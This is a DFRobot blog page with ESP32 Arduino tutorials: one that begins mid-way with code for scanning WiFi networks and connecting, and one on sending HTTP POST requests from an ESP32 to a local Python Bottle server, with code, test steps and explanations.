#include <WiFi.h> const char* ssid = "yourNetworkName"; const char* password =  "yourNetworkPassword"; String translateEncryptionType(wifi_auth_mode_t encryptionType) {  switch (encryptionType) {    case (WIFI_AUTH_OPEN):      return "Open";    case (WIFI_AUTH_WEP):      return "WEP";    case (WIFI_AUTH_WPA_PSK):      return "WPA_PSK";    case (WIFI_AUTH_WPA2_PSK):      return "WPA2_PSK";    case (WIFI_AUTH_WPA_WPA2_PSK):      return "WPA_WPA2_PSK";    case (WIFI_AUTH_WPA2_ENTERPRISE):      return "WPA2_ENTERPRISE";  } } void scanNetworks() {  int numberOfNetworks = WiFi.scanNetworks();  Serial.print("Number of networks found: ");  Serial.println(numberOfNetworks);  for (int i = 0; i < numberOfNetworks; i++) {    Serial.print("Network name: ");    Serial.println(WiFi.SSID(i));    Serial.print("Signal strength: ");    Serial.println(WiFi.RSSI(i));    Serial.print("MAC address: ");    Serial.println(WiFi.BSSIDstr(i));    Serial.print("Encryption type: ");    String encryptionTypeDescription = translateEncryptionType(WiFi.encryptionType(i));    Serial.println(encryptionTypeDescription);    Serial.println("-----------------------");  } } void connectToNetwork() {  WiFi.begin(ssid, password);  while (WiFi.status() != WL_CONNECTED) {    delay(1000);    Serial.println("Establishing connection to WiFi..");  }  Serial.println("Connected to network"); } void setup() {  Serial.begin(115200);  scanNetworks();  connectToNetwork();  Serial.println(WiFi.macAddress());  Serial.println(WiFi.localIP());  WiFi.disconnect(true);  Serial.println(WiFi.localIP()); } void loop() {}
Testing the code
To test the code, we just need to compile and upload it using the Arduino IDE, and then open the serial monitor to check the results. Don’t forget to select the correct board from the Tools -> Board menu. In my case, I need to select FireBeetle ESP32.Also, on the serial monitor, use the baud rate of 115200 defined in the setup function, so the serial connection works correctly.The result obtained in the serial console is shown bellow in figure 1 and yours should be similar. My ESP32 detected 3 WiFi networks and the parameters for each one of them (MAC address, network name, signal strength and encryption type) are shown as expected.After that, the connection is successful and our device gets a local IP assigned by the router. Then, after disconnecting the ESP32 from the WiFi network, the local IP previously assigned is lost, as expected.Also, the MAC address of our ESP32 is printed as defined in the code. For curiosity, the MAC address contains the information about the vendor. So, if you put the MAC you obtain in
this lookup website, it should return
Espressif
, the makers of ESP32.
Tumblr media
Figure 1– Output of the ESP32 program.
A word on local IPs
As stated before, when we connect the ESP32 to a WiFi network, we will be given a local IP. Note that this IP is only valid inside that network and you cannot use it to reach the ESP32 from outside the network.To do so, you need to port forward your router and interact with its public IP. The router will then forward the packets to the ESP32. Note however that the port forwarding procedure may not be trivial and it depends on the router used.More than that, port forwarding the router may expose your network to security problems, so advance with caution if you intend to try it.The same way entities outside the network will need to use the public IP of the router to reach the ESP32, all the data sent from the ESP32 to the outside of the network will have the public IP of the network rather than the private IP we obtained in the previous code.Naturally this is just a simplification of how networks work and explaining it in more detail is outside the scope of this post. Nevertheless, I recommend you to do a little bit of research on that topic so you can understand better how things work, which will be useful when developing more complex applications that involve changing data between the ESP32 and other entities.In this post we just covered connecting to the network and not exchanging data, so the architecture of the program is very simple.DFRobot supply lots of
esp32 arduino tutorials
and
esp32 projects
for makers to learn.
0 notes
dfrobots-blog · 6 years
Text
ESP32 Arduino Tutorial: HTTP POST Requests to Bottle application
The objective of this ESP32 Arduino Tutorial is to explain how to develop a simple system where an ESP32 sends HTTP POST requests to a Python Bottle application. The tests were performed on a DFRobot’s ESP32 module, integrated in a ESP32 development board.
Introduction
The objective of this post is to explain how to develop a simple system where an ESP32 sends HTTP POST requests to a Python Bottle application.
Bottle is a light lightweight  micro web-framework for Python [1]. Developing a Bottle application is based on the concept of defining routes and functions that are executed when HTTP requests are received on those routes.It is a pretty minimalist framework that allows us to get started without the need of complicated configurations, needed for more complex web frameworks. This makes it perfect for developing simple proof of concept applications. Nevertheless, there are lots of modules that can be used on top of Bottle and allow to extend its functionality.The easiest way to install Bottle is by using
pip, a Python package installer. To do so, with pip installed on our computer, we just need to send the following command on the command line:
pip install bottle
Note that this application we are going to develop will be relatively simple, but it has all the basics needed to start developing a more complex IoT application where the device sends data to a backend server.The tests were performed on a DFRobot’s ESP32 module, integrated in a ESP32 development board. This hardware is a very easy to use ESP32 development platform. We will use the ESP32 Arduino support to program the board.
The Python Bottle code
We start our code by importing the functionality needed from the bottle module. The functionalities we are going to import will allow us to run our server, defining that a given route receives POST requests and accessing the body of the request.
from bottle import run, request, post
Then we will define the route where we will receive our HTTP POST requests. To do so, we will use the post decorator. You can read more about Python decorators here. Note that we are going to define an index route, which corresponds to the  “/” path.
@post('/')
Alternatively, we could have used the route decorator, specifying the method as POST.
@route('/', method='POST')
Next, we are going to implement the actual function that will run when an HTTP POST request is performed to our route. We will call this function index, since it is serving the index route.There we will simply access the body of the request and print its content. To do so, we will access to the request object, which is available on our route handling function. On that object, we access the body property and call its read method to get the body content as a string. Then, we will print it, as can be seen bellow.
def index():    data = request.body.read()    print(data)
Finally, to run our bottle server, we simply need to call the run function, specifying as parameters the host and the port. As the host, we should pass the value ‘0.0.0.0‘, so the server will be listening on all the available IPs of the machin.Note that this value or the specific IP of the machine where we want to be reached needs to be specified in order for the ESP32 to be able to contact the bottle server. You can check here an explanation about the 0.0.0.0 IP and its difference regarding the localhost IP.Additionally, we will set the debug mode to true in our app by passing an additional parameter to the run function. This way, the outputs printed on the Python console will be more verbose and some information about the incoming requests is available.
run(host='0.0.0.0', port=8090, debug=True)
The final Python code can be seen bellow and is all that we need to start running our server.
from bottle import run, request, post @post('/') def index():    data = request.body.read()    print(data) run(host='0.0.0.0', port=8090, debug=True)
Testing the bottle code
When developing a system with this kind of complexity, it is a good ideia to test each part in separate and only at the end perform whole system tests. This way it becomes much easier to debug.With this in mind, we will start by debugging the previously created Bottle code. To do so, we will run the server and make a HTTP request from a tool that we know that works well. So, if some problem arises at this step, we know for sure that it is in our backend and we will not complicate our debug by having to look to the ESP32 code.So, the tool we are going to use is called Postman and you can download it from here. You have desktop versions and you can also use it as a google chrome extension. Postman is a very powerful and easy to use tool that allow us to do HTTP requests without the need to be writing code for a client application.First of all, run the Bottle program on your Python environment. If you are on IDLE, the IDE that comes with the Python installation, you can run the code from the file editor by pressing F5 or by going to run -> run module. The python interpreter should appear.Then, after installing Postman, run it. On the interface that appears, select POST from the dropdown to specify the HTTP POST method. On the address bar, put the following address, changing {yourLocalIP} by your machine’s local IP.
http://{yourLocalIp}:8090/
If you are on Windows, you can confirm your local IP by opening the command line and typing the ipconfig command. It is usually an IP with the 192.168.XX.XX format. You can also check this guide from Microsoft.Then, on the body tab, select the raw radio button. On the rightmost dropdown, select Text. Then, in the editor, write a message that will be sent to the Bottle server on the body of the request. Finally, click send. All those areas are highlighted in figure 1.
Tumblr media
Figure 1– Sending the request to Bottle application from Postman.
In the Python shell where the Bottle application is running, you should get the message sent from Postman, as shown in figure 2.
Tumblr media
Figure 2– Body of the requested printed in the Python shell.
The Arduino ESP32 code
Now we will specify the ESP32 code. It will be very simple and it is very similar to the one we have covered in some previous ESP32 tutorials. Naturally, we will start by importing some libraries, to access both the WiFi connection functions and the HTTP functions. These are the WiFi.h and the HTTPClient.h libraries.We are also going to store the credentials needed to connect to the WiFi network on two global variables. The credentials needed are the name and the password of the network. You should put the values of the network to which you want to connect to.
#include <WiFi.h> #include <HTTPClient.h> const char* ssid = "yourNetworkName"; const char* password = "yourNetworkPassword";
In the setup function, we will handle the connection to the WiFi network. You can check in full detail how to connect to a WiFi network in this previous post.To sum up, we will call the begin method of the WiFi extern variable defined in the WiFi.h library and pass as input the previously defined credentials needed to connect to the network. Then, we will wait for the connection to be establish in a loop.We will also print the local IP assigned to the ESP32 upon connecting to the network, so we can later check if it is the same received by the Bottle application. Again, we call a method from the WiFi variable, named localIP. Check bellow the full setup function, with these calls and some additional debugging prints to the serial port.
#include <WiFi.h>
#include <HTTPClient.h> const char* ssid = "yourNetworkName"; const char* password =  "yourNetworkPassword"; void setup() {  Serial.begin(115200);  delay(4000);    WiFi.begin(ssid, password);  while (WiFi.status() != WL_CONNECTED) { //Check for the connection    delay(500);    Serial.println("Connecting..");  }  Serial.print("Connected to the WiFi network with IP: ");  Serial.println(WiFi.localIP()); }
We will perform the actual HTTP requests on the Arduino main loop function. You can check in greater detail how to send HTTP POST requests on this
previous tutorial. It will be very simple since the HTTPClient.h library exposes an easy to use API.First, we create an object of class HTTPClient, which we will use to call the methods needed. The first one is the begin method, which receives as input the URL of the server that we want to reach. In our case, it will be the same one used in the previous section to test the Bottle app with Postman.Next, since we are doing a POST request, we should specify the
Content-type HTTP header. This way, we specify what type of data is going to be sent, so the server knows it. To do so, we call the addHeader method of the HTTPClient object, which receives as input the name of the header field and the value for that header field. Since we are going to send a simple “Hello World” message, we specify the Content-type a as text/plain
.
HTTPClient http; http.begin("http://192.168.1.88:8090/"); //Specify destination for HTTP request http.addHeader("Content-Type", "text/plain"); //Specify content-type header
Then we will call the POST method, passing a input the actual content of the body of our request, which will be received by the Bottle application. We will send a very simple “Hello World” message. This method will perform the actual request, and return the HTTP status code, which we will store in a variable, for error checking.
int httpResponseCode = http.POST("Hello Bottle, from ESP32"); //Send the actual POST request
Since we didn’t specify any return message in our Bottle application, we only need to confirm the status code. It should be 200 on a successful execution of the request. Note that in the ESP32 HTTPClient API, a value lesser than 0 is not a standard HTTP code but rather an internal error while performing the request.After performing the request, we should call the end method to free the ESP32 resources.
http.end(); //Free resources
The final full Arduino ESP32 code can be seen bellow, for an easy copy and paste. Note that we added the HTTP status code checking and a delay between each HTTP request. We also added a validation before performing the request to confirm that we are still connected to the WiFi network.
#include <WiFi.h> #include <HTTPClient.h> const char* ssid = "yourNetworkName"; const char* password =  "yourNetworkPassword"; void setup() {  Serial.begin(115200);  delay(4000);    WiFi.begin(ssid, password);  while (WiFi.status() != WL_CONNECTED) { //Check for the connection    delay(500);    Serial.println("Connecting..");  }  Serial.print("Connected to the WiFi network with IP: ");  Serial.println(WiFi.localIP()); } void loop() { if(WiFi.status()== WL_CONNECTED){   //Check WiFi connection status   HTTPClient http;     http.begin("http://192.168.1.88:8090/");  //Specify destination for HTTP request   http.addHeader("Content-Type", "text/plain");             //Specify content-type header   int httpResponseCode = http.POST("Hello Bottle, from ESP32");   //Send the actual POST request   if(httpResponseCode>0){    Serial.println(httpResponseCode);   //Print return code   }else{    Serial.print("Error on sending request: ");    Serial.println(httpResponseCode);   }   http.end();  //Free resources }else{    Serial.println("Error in WiFi connection");   }  delay(5000);  //Send a request every 5 seconds }
Testing the application
To test the full application, start the Bottle server on your machine and then compile and upload the ESP32 code with the Arduino IDE. Then, open the serial console.If everything is working well, you should get an output similar to figure 3. Upon connecting to the WiFi network, we start sending the POST requests and receiving as an answer the 200 HTTP response code.
Tumblr media
Figure 3– Output of running the code on the ESP32.
Now if you go to the Python shell, as shown in figure 4, you should get the prints of the body of the request sent by the ESP32. Note that, in my case, the IP shown matches the one printed in the serial console, on figure 3.
Tumblr media
Figure 4 – Output of the Bottle application, upon receiving the requests from the ESP32. Finally, just to exemplify, we can shut down the bottle server and go back to the Arduino IDE serial monitor. In this case, an error message starts getting printed. This happens because the server is no longer available and now the ESP32 cannot connect anymore.
Tumblr media
Figure 5– Output of the ESP32 program when is no longer possible to connect to the Bottle server.
DFRobot supply lots of esp32 arduino tutorials and esp32 projects for makers to learn.
0 notes